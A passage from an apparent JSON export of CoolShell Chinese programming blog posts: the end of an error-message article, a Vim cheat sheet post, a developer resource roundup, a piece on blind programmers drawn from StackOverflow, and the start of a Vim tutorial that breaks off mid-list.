\n\n\n本来文章到这里就可以结束了，上文参考自这里[The 13 Greatest Error Message of All Time](http://technologizer.com/2008/09/18/errormessage)。不过，我觉得还有一个错误必然会载入史册。这就是下面的“该页无法显示错误”\n\n\n#### 0、该页无法显示错误\n\n\n这个错误对于中国用户不会陌生。这个错误以前更多的是Connection Reset，N年前你访问很多国外的网站者会遇到Connection Reset错，今天呢，更多的是“Time Out”，因为，关键词匹配太耗性能了，图片和视频的无法使用关键词过滤，所以，还不如直接封了IP，简单而粗暴，今天的Connection Reset更多的是出现在使用Google的搜索，当你搜某些关键词时就出这个错了。\n\n\n![](../wp-content/uploads/2011/08/connection-reset.png \"该页无法显示 Connection Reset\")该页无法显示 Connection Reset\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![粉丝眼中的操作系统](../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg)](https://coolshell.cn/articles/1998.html)[粉丝眼中的操作系统](https://coolshell.cn/articles/1998.html)\n* [![一张关于操作系统的图](../wp-content/uploads/2009/10/operating-systems-150x150.jpg)](https://coolshell.cn/articles/1579.html)[一张关于操作系统的图](https://coolshell.cn/articles/1579.html)\nThe post [10大经典错误](https://coolshell.cn/articles/5107.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-9-16 给程序员的VIM速查卡.md",
    "content": "---\nlayout: post\ntitle: 给程序员的VIM速查卡\ndate: 2011/9/16/ 1:7:5\nupdated: 2011/9/16/ 1:7:5\nstatus: publish\npublished: true\ntype: post\n---\n\n前几天酷壳发布过“[vim简明攻略](https://coolshell.cn/articles/5426.html \"简明 Vim 练级攻略\")”，不知道大家练得怎么样了。如果你练了一下，那么这里这个速查卡就会对你有帮助了。以前本站也有过一个（[vim速查卡](https://coolshell.cn/articles/150.html \"Vim命令速查卡\")），不过其太简单了。我觉得这个很不错，很全，很直观。这个速查卡来自**[这里](http://michael.peopleofhonoronly.com/vim/)**。其用颜色标注了级别：\n\n\n* Green   = 存活级\n* Yellow   = 感觉良好\n* Orange   / Blue = 高级\n* Red   = 专家级\n\n\n下面的图片点击可以看大图：\n\n\n[![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-1024x791.png \"给程序员的VIM速查卡\")](https://coolshell.cn/wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print.png)给程序员的VIM速查卡（点击看大图）\n你还可以下载[PDF版](http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_print.pdf)的和[Excel版](http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_print.xlsx)的，如果你是色盲的话，还有[蓝色版PDF](http://michael.peopleofhonoronly.com/vim/vim_cheat_sheet_for_programmers_colorblind.pdf)的。如果你不是很喜欢的话，这里还有几个：\n\n\n\n* <http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html>\n* <http://tnerual.eriogerg.free.fr/vim.html>\n* <http://www.lagmonster.org/docs/vi.html>\n* <http://jrmiii.com/2009/03/06/learning-vim-the-pragmatic-way.html>\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![无插件Vim编程技巧](../wp-content/uploads/2014/03/success_vim-150x150.jpg)](https://coolshell.cn/articles/11312.html)[无插件Vim编程技巧](https://coolshell.cn/articles/11312.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![28个Unix/Linux的命令行神器](../wp-content/uploads/2012/07/dstat_screenshot-150x150.png)](https://coolshell.cn/articles/7829.html)[28个Unix/Linux的命令行神器](https://coolshell.cn/articles/7829.html)\n* [![游戏：VIM大冒险](../wp-content/uploads/2012/04/vimadventuresgamefun-150x150.jpg)](https://coolshell.cn/articles/7166.html)[游戏：VIM大冒险](https://coolshell.cn/articles/7166.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\n* [![简明 Vim 练级攻略](../wp-content/uploads/2011/09/rectangular-blocks-150x150.gif)](https://coolshell.cn/articles/5426.html)[简明 Vim 练级攻略](https://coolshell.cn/articles/5426.html)\nThe post [给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-9-20 一些文章和各种资源.md",
    "content": "---\nlayout: post\ntitle: 一些文章和各种资源\ndate: 2011/9/20/ 0:32:52\nupdated: 2011/9/20/ 0:32:52\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是近期收录的一些文章和资源，希望对你有用。\n\n\n#### 系统方面\n\n\n* **印度的电子商务网站flipkart的性能扩展**（PPT） <http://www.slideshare.net/sids/how-flipkart-scales-php>，都是一些最基本的东西，对于初学者来说很不错。PPT做的也不错。\n\n\n* **Tagged.com的扩展之路** – 1亿用户，1000台服务器，50亿的PV <http://highscalability.com/blog/2011/8/8/tagged-architecture-scaling-to-100-million-users-1000-server.html> 还是PHP的WEB站点。另外，[highscalability.com](http://highscalability.com/)这个网站上有很多和高性能有关的文章，很不错。比如最新的：[Stuff The Internet Says On Scalability For September 16, 2011](http://highscalability.com/blog/2011/9/16/stuff-the-internet-says-on-scalability-for-september-16-2011.html)\n\n\n[http://highscalability.com/storage/HSBannerTrebuchet.jpg \"High Scalability\"](http://highscalability.com/)\n\n\n* **浏览器是怎么工作的**？ [http://www.html5rocks.com/en/tutorials/internals/howbrowserswork](http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/)/ 相当不错的一个教程，告诉你浏览器里面是怎么搞的，很不错。如果图片看不到，可以[看这里](http://taligarsiel.com/Projects/howbrowserswork1.htm)。如果你英文不是太好，你可以看看[中译版](http://blog.csdn.net/zzzaquarius/article/details/6532299)，译得并不是太好。\n\n\nhttp://www.html5rocks.com/en/tutorials/internals/howbrowserswork/image008.jpg \"Mozilla's Gecko rendering engine main flow\"Mozilla's Gecko rendering engine main flow\n* **怎么使用epoll的示例** <https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/>\n\n\n* **Intel C/C++ 64位程序开发教程** <http://software.intel.com/en-us/articles/lessons-on-development-of-64-bit-cc-applications/> 本站以前也介绍过一个关于[64位C/C++的编程注意事项](https://coolshell.cn/articles/3512.html \"64位平台C/C++开发注意事项\")。\n\n\n\n#### 各种教程\n\n\n+ **Version Control by Example**(电子书) <http://www.ericsink.com/vcbe/>\n\n\nhttp://www.ericsink.com/scm/1802_image001.jpg\n\n\n* ****SQL注入口袋书****（[Google Doc](https://docs.google.com/Doc?docid=0AZNlBave77hiZGNjanptbV84Z25yaHJmMjk&pli=1#Allowed_Intermediary_Character_30801873723976314) 需翻墙）**，**涵盖MySQL, MSSQL和Oracle，我觉得可以用来做你的程序的安全测试。\n\n\n* **如何写Vim的插件**（教程）<http://stevelosh.com/blog/2011/09/writing-vim-plugins/> 相信你已读过“[VIM简明攻略](https://coolshell.cn/articles/5479.html \"给程序员的VIM速查卡\")” 并收藏了 “[vim的速查卡](https://coolshell.cn/articles/5479.html \"给程序员的VIM速查卡\")”，随着你的vim的能力加强，是时候搞搞vim的插件了。\n\n\n* **一个超有意思的学习Javascript的在线课件了**。下面的这个网页上有一个Web的命令行，你可以跟着他的提示去输入一些命令，并以此来学习Javascript，这个创意真是太好了，我觉得这应该推广到我们的学校中去，不是只听老师讲，还需要大家一起来动作。 <http://www.codecademy.com/>\n\n\n* **一些各种各样的教程** <http://www.dickbaldwin.com/toc.htm>  这些都是些入门的教程，仅当是练练英语了。\n+ [Introductory Java Tutorial](http://www.dickbaldwin.com/tocint.htm)\n+ [Intermediate Java Tutorial](http://www.dickbaldwin.com/tocmed.htm)\n+ [Advanced Java Tutorial](http://www.dickbaldwin.com/tocadv.htm)\n+ [Test Your Java Knowledge](http://www.dickbaldwin.com/tocknowledge.htm)\n+ [JavaScript Tutorial](http://www.dickbaldwin.com/tocjscript1.htm)\n+ [XML — eXtensible Markup Language](http://www.dickbaldwin.com/tocxml.htm)\n+ [Python Programming Tutorial](http://www.dickbaldwin.com/tocpyth.htm)\n+ [C# Programming Tutorial](http://www.dickbaldwin.com/tocCsharp.htm)\n+ [Digital Signal Processing](http://www.dickbaldwin.com/tocdsp.htm)\n\n\n+ [Object-Oriented Programming Fundamentals using C++](http://www.dickbaldwin.com/Cosc1315/Pf00100Index.htm)\n+ [Object-Oriented Programming Fundamentals using C++ (Practice Tests)](http://www.dickbaldwin.com/Cosc1315/Pfsg00100StudyGuideIndex.htm)\n+ [Object-Oriented Programming Fundamentals using C++ (Slides)](http://www.dickbaldwin.com/Cosc1315/Slides/Pf00100MainSlideIndex.htm)\n\n\n+ [Advanced Object-Oriented Programming using C++](http://www.dickbaldwin.com/AdvOOP/AdvCpp00100Index.htm)\n+ [Advanced Object-Oriented Programming using C++ (Practice Tests)](http://www.dickbaldwin.com/AdvOOP/PracticeTests/AdvCpp00100PracticeTestIndex.htm)\n+ [Advanced Object-Oriented Programming using C++ (Slides)](http://www.dickbaldwin.com/AdvOOP/Slides/AdvCpMainSlideIndex.htm)\n\n\n+ [Graphics Programming with Allegro and C++](http://www.dickbaldwin.com/allegro/Allegro00100Index.htm)\n+ [Graphics Programming with Allegro and C++ (Practice Tests)](http://www.dickbaldwin.com/allegro/PracticeTests/Allegro00100PracticeTestIndex.htm)\n+ [Graphics Programming with Allegro and C++ (Slides)](http://www.dickbaldwin.com/allegro/Slides/AllegMainSlideIndex.htm)\n\n\n+ [Wireless Networking Lab Projects](http://www.austincc.edu/baldwin/Itnw1351Wireless/LabProjects/FwlProjIndex.htm)\n+ [Learn to Program using Alice](http://www.dickbaldwin.com/tocalice.htm)\n+ [Computer Programming for Homeschool Students and Other Beginners](http://www.dickbaldwin.com/tocHomeSchool.htm)\n+ [Programming with Adobe Flex](http://www.dickbaldwin.com/tocFlex.htm)\n+ [Object-Oriented Programming (OOP) with ActionScript](http://www.dickbaldwin.com/tocActionScript.htm)\n+ [Programming with XNA Game Studio](http://www.dickbaldwin.com/tocXNA.htm)\n\n\n#### **Web库**\n\n\n* **20 个 jQuery提示插件**：<http://zoomzum.com/jquery-tooltip-plugins/>\n\n\n* **最近出的一个新的可以做Web幻灯片的Javscript** <http://imakewebthings.github.com/deck.js/#intro> 当然，Web上做幻灯片的库太多了，大家可以看看wikipedia上的一个收集： <http://en.wikipedia.org/wiki/Web-based_slideshow>\n\n\n* **[Google APIs Client Library for PHP](http://code.google.com/p/google-api-php-client/) –** 用PHP封装的各种Google API  \n\n![](../wp-content/uploads/2011/09/Google-APIs-Client-Library-for-PHP.png \"Google APIs Client Library for PHP\")\n+ Buzz API – [Sample](https://code.google.com/p/google-api-php-client/source/browse/#svn%2Ftrunk%2Fexamples%2Fbuzz)\n+ Books API – [Sample](https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/books/index.php)\n+ Latitude API – [Sample](https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/latitude/index.php)\n+ Page Speed Online API – [Sample](https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/pagespeed/index.php)\n+ Tasks API – [Sample](https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/tasks/index.php)\n+ URL Shortener API – [Sample](https://code.google.com/p/google-api-php-client/source/browse/trunk/examples/urlshortener/index.php)\n\n\n* **Django Google Chart** <http://publishedin.com/django-google-charts/>  为Django封闭的Google 统计图API。\n\n\nhttps://s3.amazonaws.com/files_desu/django-google-charts-basic.png\n\n\n* **一个新的HTML5+CSS3的JS库Kendo UI**：<http://demos.kendoui.com/> 这样的JS库有很多，如比较经典的ExtJS, YUI 和 jQuery。不过大家可以试试这个库。其支持移动设备。\n\n\n[http://demos.kendoui.com/styles/aeroviewr.png](http://www.kendoui.com/aeroviewr/)\n\n\n#### **HTML 5**\n\n\n* **HTML5 Canvas 的开发指导**：<http://www.sitepoint.com/a-developer%E2%80%99s-guide-to-html5-canvas/>\n\n\n* **HTML5+ Javascript的游戏开发教程**：<http://gamedev.slashgame.net/2011/08/html5-game-development-tutorial.html>\n\n\n* **HTML 5速查卡**（PDF） <http://www.thecssninja.com/talks/dnd_and_friends/assets/html5-cheat-sheet.pdf>\n\n\n* **70 个 HTML5 的精彩示例** <http://www.instantshift.com/2011/07/05/70-inspirational-examples-of-websites-designed-with-html5/>\n\n\n####  编程规范\n\n\n* **The Art of Assembly Language Programming 汇编语言艺术** <http://www.arl.wustl.edu/~lockwood/class/cs306/books/artofasm/toc.html>\n\n\n* **编程规范 if语句的简单规则**：<http://united-coders.com/christian-harms/basic-rules-for-code-readability-and-the-if-statement>\n\n\n* **Linux 内核C编程规范：**<http://www.kernel.org/doc/Documentation/CodingStyle>\n\n\n* **Google的C++编程规范：**<http://google-styleguide.googlecode.com/svn/trunk/cppguide.xml>\n\n\n* **GNU的编程规范：**<http://www.gnu.org/prep/standards/standards.html>\n\n\n* 最后，强烈推荐你读一下Nokia的Qt的《[API Design Principles](http://developer.qt.nokia.com/wiki/API_Design_Principles)》，其中的一条规则写成了本站的《[千万不要用bool做函数参数](https://coolshell.cn/articles/5444.html \"千万不要把 bool 设计成函数参数\")》\n\n\n#### **其它**\n\n\n* **在OS X上使用gcc而不是xcode编译C++程序** <https://github.com/kennethreitz/osx-gcc-installer>\n\n\n* **声讨PHP的一个slids** <http://zakx.de/phprant-en.pdf>， 前面说到的两个网站都是使用PHP做到，不过，你可以通过这个PDF了解一下PHP有哪些地方不好。\n\n\n* **Infinite超级玛丽**：(你可以比较一下，哪个版本不错)\n+ HTML5 版： <http://mario.fromlifetodeath.com/> ([源码](https://github.com/robertkleffner/mariohtml5))\n+ Java版：<http://www.mojang.com/notch/mario/>\n+ Flash版：<http://www.supermariobrothers.org/infinite-mario.html>\n\n\n***—— 更新 2011.9.20  21:00 ——***\n\n\n@[xzhaoyang](https://coolshell.cn/articles/5224.html/comment-page-1#comment-82966) 在留言中问我有没有C写CGI的文章，我看过最好的一篇是下面这篇：\n\n\n<http://www.tutorialspoint.com/cplusplus/cpp_web_programming.htm> （注意翻墙）\n\n\n（全文完）\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [![HTML6 展望](../wp-content/uploads/2014/12/html6-150x150.jpeg)](https://coolshell.cn/articles/12206.html)[HTML6 展望](https://coolshell.cn/articles/12206.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\nThe post [一些文章和各种资源](https://coolshell.cn/articles/5224.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-9-21 如果你看不见你还能编程吗？.md",
    "content": "---\nlayout: post\ntitle: 如果你看不见你还能编程吗？\ndate: 2011/9/21/ 0:26:58\nupdated: 2011/9/21/ 0:26:58\nstatus: publish\npublished: true\ntype: post\n---\n\n这是个StackOverflow上的问题 [How can you program if you’re blind?](http://stackoverflow.com/questions/118984/how-can-you-program-if-youre-blind \"How can you program if you're blind?\") 。在看到这个问题的时候，我感到应该不可能，但是我错了，这个问题的前两个答案让我深深地震憾了。\n\n\n第一个答案的回复人是[Jared](http://stackoverflow.com/users/14744/jared)（其在StackOverflow上的积分有将近14K），但是你能想得到他是一个盲人吗？他回复到——\n\n\n\n> 我是一个完全失明的大学学生，我做过一些程序员的实习工作，所以我的回复基于我的这些经历。我使用Windows XP 和  [Jaws](http://freedomscientific.com/products/fs/jaws-product-page.asp) 来为了读出屏幕上的内容。\n> \n> \n> 对于Java 编程，我使用eclipse这个强大的IDE。我使用SWT开发GUI。对于.NET编程，其使用Visual Studio 2005，使用Jaws可以非常容易地操作VS2005，而且其还有一些很不错的脚本来可容易地用来做表单设计。\n> \n> \n> 对于C/C++，我使用cygwin + gcc 也使用emacs 和 vim 做出编辑器（使用[Emacspeak](http://emacspeak.sourceforge.net/)虽然有时候有点迟钝）。在实习过程中，我做了很多和Z/OS相关的编程工作。我使用rlogin通过cygwin登录大型机的USS系统，并使用C3270作为其3270仿真器来访问大型机的ISPF部分。\n> \n> \n> 我依赖于合成语音系统，也需要 Braille display， 我发现使用合成语音系统很快，但是使用 Braille display有时候有些问题。比如程序有太多的嵌套括号。\n> \n> \n\n\n关于Braille display，又叫盲文显示机，是能以盲文进行输出的电子机械式设备。一般来说，该设备通过在平坦表面上打孔来实现点阵的表现。有了该设备的帮助，无法使用一般的显示设备的失明用户也能够阅读文字。如下所示。\n\n\n\n[http://www.afb.org/afbpress/Image.asp?ImageID=aw050607fig1](http://www.google.com.hk/search?q=Braille+display&hl=zh-CN&safe=strict&prmd=ivns&tbm=isch&tbo=u&source=univ&sa=X&ei=zrV4Tt6YOemtiQfRkIzhDA&ved=0CDMQsAQ&biw=1280&bih=677)\n\n\n第二个答案是[Saqib](http://stackoverflow.com/users/56241/saqib)提供的，其个人主页是<http://www.saqibshaikh.com/>，目前在Microsoft的Bing项目组，他回答到：\n\n\n\n> 我是盲人，我对Windows, Mac, Linux 和 DOS有13年的编程经验了，我会的编程语言是C/C++, Python, Java, C#或是其它相似的语言，虽然问题问的是怎么来设置盲人的环境，但是我想从盲人怎么使用电脑来回答。\n> \n> \n> 有些人使用“语音环境”，如T. V. Raman程序员和Emacspeak 环境。这样的环境需要有读屏程序来监控操作系统的行为，并通过合成语音系统或是Braille display 来告诉盲人屏幕上有什么。这样一样，盲人就可以操作任何的应用程序了。\n> \n> \n> 我个人这段时候使用Visual Studio 2008（注：作者是09年回的这个贴的），用其来做一些修改。我关闭了一些VS2008的功能，如显示错误，因为这会让我分心。在加入微软以前，我都是在用notepad这样的东西开发程序。\n> \n> \n> 对于读屏软件，我需要设置一下，以便其告诉我缩进。老实说我不太关心这个事，因为VS2008对程序缩进做得很好。但是对于Python来说，这个功能相当重要。最终，Emacspeak 可以使用不同的声音来让我区分缩进的语句块，以及一些语法（关键词，注释，标识，等等。）\n> \n> \n\n\n对于[Saqib](http://stackoverflow.com/users/56241/saqib)，大家有兴趣可以看看他的视频访谈：[Saqib Shaikh and Scott Hanselman: Designing for Accessibility](http://channel9.msdn.com/blogs/dan/saqib-shaikh-and-scott-hanselman-designing-for-accessibility)\n\n\n这个问题中多次提到了Google的盲人程序员 T.V. Raman，我在网上搜了一下他，他前段时间来过北京，新京报在今年早期报道过他——《[T.V 拉蒙，互联网界也有“盲剑客” ——Google盲人工程师讲述软件设计之路](http://epaper.bjnews.com.cn/html/2011-01/16/content_192258.htm)》\n\n\nhttp://epaper.bjnews.com.cn/images/2011-01/16/B13/b13116cb001.gif\n\n\n在这篇报道中，他经历过IBM, Adobe和Google 这三个公司，他可以在23秒内复原盲人魔方，1989年他就得到一台给盲人用的语音合成器和当时最先进的读屏软件。他现在使用电脑 没有任何障碍，他天天都上网浏览信息，他还可以使用特别的手机来看地图。\n\n\n不知道你看完这些人的经历后，你有什么感觉？\n\n\n* 你是否会觉得技术的力量和社会的尊重让他们和正常人一样可以使用电脑？\n* 你是否会觉得我们这些正常人是不是平时抱怨的太多了呢？还有什么理由不努力的呢？\n\n\n（全文完）\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [如果你看不见你还能编程吗？](https://coolshell.cn/articles/5514.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-9-7 简明 Vim 练级攻略.md",
    "content": "---\nlayout: post\ntitle: 简明 Vim 练级攻略\ndate: 2011/9/7/ 0:27:26\nupdated: 2011/9/7/ 0:27:26\nstatus: publish\npublished: true\ntype: post\n---\n\nvim的学习曲线相当的大（参看[各种文本编辑器的学习曲线](https://coolshell.cn/articles/3125.html \"主流文本编辑器学习曲线\")），所以，如果你一开始看到的是一大堆VIM的命令分类，你一定会对这个编辑器失去兴趣的。下面的文章翻译自《[Learn Vim Progressively](http://yannesposito.com/Scratch/en/blog/Learn-Vim-Progressively/)》，我觉得这是给新手最好的VIM的升级教程了，没有列举所有的命令，只是列举了那些最有用的命令。非常不错。\n\n\n——————————正文开始——————————\n\n\n你想以最快的速度学习人类史上最好的文本编辑器VIM吗？你先得懂得如何在VIM幸存下来，然后一点一点地学习各种戏法。\n\n\n[Vim](http://www.vim.org) the Six Billion Dollar editor\n\n\n\n> Better, Stronger, Faster.\n> \n> \n\n\n学习 [vim](http://www.vim.org) 并且其会成为你最后一个使用的文本编辑器。没有比这个更好的文本编辑器了，非常地难学，但是却不可思议地好用。\n\n\n我建议下面这四个步骤：\n\n\n1. 存活\n2. 感觉良好\n3. 觉得更好，更强，更快\n4. 使用VIM的超能力\n\n\n当你走完这篇文章，你会成为一个vim的 superstar。\n\n\n在开始学习以前，我需要给你一些警告：\n\n\n* 学习vim在开始时是痛苦的。\n* 需要时间\n* 需要不断地练习，就像你学习一个乐器一样。\n* 不要期望你能在3天内把vim练得比别的编辑器更有效率。\n* 事实上，你需要2周时间的苦练，而不是3天。\n\n\n\n#### 第一级 – 存活\n\n\n1. 安装 [vim](http://www.vim.org)\n2. 启动 vim\n3. **什么也别干！**请先阅读\n\n\n当你安装好一个编辑器后，你一定会想在其中输入点什么东西，然后看看这个编辑器是什么样子。但vim不是这样的，请按照下面的命令操作：\n\n\n* 启 动Vim后，vim在 *Normal* 模式下。\n* 让我们进入 *Insert* 模式，请按下键 i 。(陈皓注：你会看到vim左下角有一个–insert–字样，表示，你可以以插入的方式输入了）\n* 此时，你可以输入文本了，就像你用“记事本”一样。\n* 如果你想返回 *Normal* 模式，请按 `ESC` 键。\n\n\n现在，你知道如何在 *Insert* 和 *Normal* 模式下切换了。下面是一些命令，可以让你在 *Normal* 模式下幸存下来：\n\n\n\n> \n> * `i` → *Insert* 模式，按 `ESC` 回到 *Normal* 模式.\n> * `x` → 删当前光标所在的一个字符。\n> * `:wq` → 存盘 + 退出 (`:w` 存盘, `:q` 退出)   （陈皓注：:w 后可以跟文件名）\n> * `dd` → 删除当前行，并把删除的行存到剪贴板里\n> * `p` → 粘贴剪贴板\n> \n> \n> **推荐**:\n> \n> \n> * `hjkl` (强例推荐使用其移动光标，但不必需) →你也可以使用光标键 (←↓↑→). 注: `j` 就像下箭头。\n> * `:help <command>` → 显示相关命令的帮助。你也可以就输入 `:help` 而不跟命令。（陈皓注：退出帮助需要输入:q）\n> \n> \n> \n\n\n你能在vim幸存下来只需要上述的那5个命令，你就可以编辑文本了，你一定要把这些命令练成一种下意识的状态。于是你就可以开始进阶到第二级了。\n\n\n当是，在你进入第二级时，需要再说一下 *Normal* 模式。在一般的编辑器下，当你需要copy一段文字的时候，你需要使用 `Ctrl` 键，比如：`Ctrl-C`。也就是说，Ctrl键就好像功能键一样，当你按下了功能键Ctrl后，C就不在是C了，而且就是一个命令或是一个快键键了，**在VIM的Normal模式下，所有的键就是功能键了**。这个你需要知道。\n\n\n标记:\n\n\n* 下面的文字中，如果是 `Ctrl-λ`我会写成 `<C-λ>`.\n* 以 `:` 开始的命令你需要输入 `<enter>`回车，例如 — 如果我写成 `:q` 也就是说你要输入 `:q<enter>`.\n\n\n#### 第二级 – 感觉良好\n\n\n上面的那些命令只能让你存活下来，现在是时候学习一些更多的命令了，下面是我的建议：（陈皓注：所有的命令都需要在Normal模式下使用，如果你不知道现在在什么样的模式，你就狂按几次ESC键）\n\n\n1. **各种插入模式**  \n\n\n> \n> \n> \t* `a` → 在光标后插入\n> \t* `o` → 在当前行后插入一个新行\n> \t* `O` → 在当前行前插入一个新行\n> \t* `cw` → 替换从光标所在位置后到一个单词结尾的字符\n>\n2. **简单的移动光标**  \n\n\n> \n> \n> \t* `0` → 数字零，到行头\n> \t* `^` → 到本行第一个不是blank字符的位置（所谓blank字符就是空格，tab，换行，回车等）\n> \t* `$` → 到本行行尾\n> \t* `g_` → 到本行最后一个不是blank字符的位置。\n> \t* `/pattern` → 搜索 `pattern` 的字符串（陈皓注：如果搜索出多个匹配，可按n键到下一个）\n>\n3. **拷贝/粘贴** （陈皓注：p/P都可以，p是表示在当前位置之后，P表示在当前位置之前）  \n\n\n> \n> \n> \t* `P` → 粘贴\n> \t* `yy` → 拷贝当前行当行于 `ddP`\n>\n4. **Undo/Redo**  \n\n\n> \n> \n> \t* `u` → undo\n> \t* `<C-r>` → redo\n>\n5. **打开/保存/退出/改变文件**(Buffer)  \n\n\n> \n> \n> \t* `:e <path/to/file>` → 打开一个文件\n> \t* `:w` → 存盘\n> \t* `:saveas <path/to/file>` → 另存为 `<path/to/file>`\n> \t* `:x`， `ZZ` 或 `:wq` → 保存并退出 (`:x` 表示仅在需要时保存，ZZ不需要输入冒号并回车)\n> \t* `:q!` → 退出不保存 `:qa!` 强行退出所有的正在编辑的文件，就算别的文件有更改。\n> \t* `:bn` 和 `:bp` → 你可以同时打开很多文件，使用这两个命令来切换下一个或上一个文件。（陈皓注：我喜欢使用:n到下一个文件）\n>\n\n\n花点时间熟悉一下上面的命令，一旦你掌握他们了，你就几乎可以干其它编辑器都能干的事了。但是到现在为止，你还是觉得使用vim还是有点笨拙，不过没关系，你可以进阶到第三级了。\n\n\n#### 第三级 – 更好，更强，更快\n\n\n先恭喜你！你干的很不错。我们可以开始一些更为有趣的事了。在第三级，我们只谈那些和vi可以兼容的命令。\n\n\n##### 更好\n\n\n下面，让我们看一下vim是怎么重复自己的：\n\n\n1. `.` → (小数点) 可以重复上一次的命令\n2. N<command> → 重复某个命令N次\n\n\n下面是一个示例，找开一个文件你可以试试下面的命令：\n\n\n\n> \n> * `2dd` → 删除2行\n> * `3p` → 粘贴文本3次\n> * `100idesu [ESC]` → 会写下 “desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu desu “\n> * `.` → 重复上一个命令—— 100 “desu “.\n> * `3.` → 重复 3 次 “desu” (注意：不是 300，你看，VIM多聪明啊).\n> \n> \n> \n\n\n##### 更强\n\n\n你要让你的光标移动更有效率，你一定要了解下面的这些命令，**千万别跳过**。\n\n\n1. N`G` → 到第 N 行 （陈皓注：注意命令中的G是大写的，另我一般使用 : N 到第N行，如 :137 到第137行）\n2. 